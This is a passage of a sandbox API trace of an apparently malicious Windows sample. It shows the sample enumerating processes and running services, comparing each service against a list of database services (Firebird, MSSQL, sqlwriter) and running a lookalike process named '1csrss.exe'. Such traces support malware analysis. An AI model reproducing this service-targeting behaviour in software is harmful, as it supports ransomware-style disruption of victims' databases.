(lpString1="sqlwriter", lpString2="Spooler") returned 1 [0310.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0310.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0310.446] lstrlenW (lpString="SSDPSRV") returned 7 [0310.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0310.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0310.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0310.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0310.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0310.446] lstrlenW (lpString="StateRepository") returned 15 [0310.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0310.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0310.446] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0310.446] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0310.446] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0310.446] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0310.449] Process32FirstW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0310.450] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0310.451] lstrlenW (lpString="System") returned 6 [0310.451] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0310.452] lstrlenW (lpString="smss.exe") returned 8 [0310.452] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0310.452] lstrlenW (lpString="csrss.exe") returned 9 [0310.453] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0310.453] lstrlenW (lpString="wininit.exe") returned 11 [0310.453] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0310.455] lstrlenW (lpString="csrss.exe") returned 9 [0310.455] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0310.455] lstrlenW (lpString="winlogon.exe") returned 12 [0310.456] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0310.456] lstrlenW (lpString="services.exe") returned 12 [0310.457] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0310.458] lstrlenW (lpString="lsass.exe") returned 9 [0310.458] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0310.459] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0310.459] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0310.460] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0310.460] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.460] lstrlenW (lpString="svchost.exe") returned 11 [0310.460] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.461] lstrlenW (lpString="svchost.exe") returned 11 [0310.461] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0310.462] lstrlenW (lpString="dwm.exe") returned 7 [0310.462] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.463] lstrlenW (lpString="svchost.exe") returned 11 [0310.463] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.465] lstrlenW (lpString="svchost.exe") returned 11 [0310.465] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.465] lstrlenW (lpString="svchost.exe") returned 11 [0310.466] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.466] lstrlenW (lpString="svchost.exe") returned 11 [0310.466] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.467] lstrlenW (lpString="svchost.exe") returned 11 [0310.467] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.468] lstrlenW (lpString="svchost.exe") returned 11 [0310.468] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.469] lstrlenW (lpString="svchost.exe") returned 11 [0310.469] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.469] lstrlenW (lpString="svchost.exe") returned 11 [0310.469] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.470] lstrlenW (lpString="svchost.exe") returned 11 [0310.470] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.471] lstrlenW (lpString="svchost.exe") returned 11 [0310.471] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0310.472] lstrlenW (lpString="spoolsv.exe") returned 11 [0310.472] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0310.472] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0310.472] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0310.473] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0310.473] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0310.474] lstrlenW (lpString="Memory Compression") returned 18 [0310.474] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.475] lstrlenW (lpString="svchost.exe") returned 11 [0310.475] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0310.476] lstrlenW (lpString="audiodg.exe") returned 11 [0310.476] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0310.477] lstrlenW (lpString="sihost.exe") returned 10 [0310.477] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.478] lstrlenW (lpString="svchost.exe") returned 11 [0310.478] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0310.478] lstrlenW (lpString="taskhostw.exe") returned 13 [0310.478] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0310.479] lstrlenW (lpString="explorer.exe") returned 12 [0310.479] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0310.480] lstrlenW (lpString="SearchUI.exe") returned 12 [0310.480] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0310.481] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0310.481] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0310.482] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0310.482] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0310.482] lstrlenW (lpString="1csrss.exe") returned 10 [0310.482] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.483] lstrlenW (lpString="svchost.exe") returned 11 [0310.483] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0310.485] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0310.485] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.485] lstrlenW (lpString="svchost.exe") returned 11 [0310.485] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0310.486] lstrlenW (lpString="consent.exe") returned 11 [0310.486] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0310.487] lstrlenW (lpString="dllhost.exe") returned 11 [0310.487] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0310.501] CloseHandle (hObject=0x564) returned 1 [0310.501] Sleep (dwMilliseconds=0x1f4) [0312.337] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0312.338] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0312.338] GetLastError () returned 0xea [0312.338] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0312.338] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0312.339] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0312.339] lstrlenW (lpString="Appinfo") returned 7 [0312.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0312.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0312.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0312.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0312.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0312.339] lstrlenW (lpString="AppXSvc") returned 7 [0312.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0312.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0312.339] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0312.339] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0312.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0312.340] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0312.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0312.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0312.342] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0312.342] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0312.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0312.342] lstrlenW (lpString="Audiosrv") returned 8 [0312.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0312.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0312.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0312.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0312.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0312.342] lstrlenW (lpString="BFE") returned 3 [0312.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0312.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0312.342] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0312.342] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0312.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0312.342] lstrlenW (lpString="BITS") returned 4 [0312.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0312.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0312.343] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0312.343] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0312.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0312.343] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0312.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0312.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0312.343] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0312.343] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0312.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0312.344] lstrlenW (lpString="CDPSvc") returned 6 [0312.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0312.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0312.344] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0312.344] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0312.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0312.344] lstrlenW (lpString="ClickToRunSvc") returned 13 [0312.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0312.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0312.344] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0312.344] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0312.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0312.344] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0312.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0312.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0312.344] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0312.344] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0312.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0312.344] lstrlenW (lpString="CryptSvc") returned 8 [0312.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0312.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0312.345] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0312.345] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0312.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0312.345] lstrlenW (lpString="DcomLaunch") returned 10 [0312.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0312.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0312.345] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0312.345] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0312.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0312.345] lstrlenW (lpString="DeviceAssociationService") returned 24 [0312.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0312.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0312.345] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0312.345] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0312.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0312.345] lstrlenW (lpString="Dhcp") returned 4 [0312.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0312.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0312.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0312.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0312.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0312.345] lstrlenW (lpString="Dnscache") returned 8 [0312.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0312.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0312.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0312.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0312.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0312.346] lstrlenW (lpString="DoSvc") returned 5 [0312.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0312.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0312.346] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0312.346] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0312.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 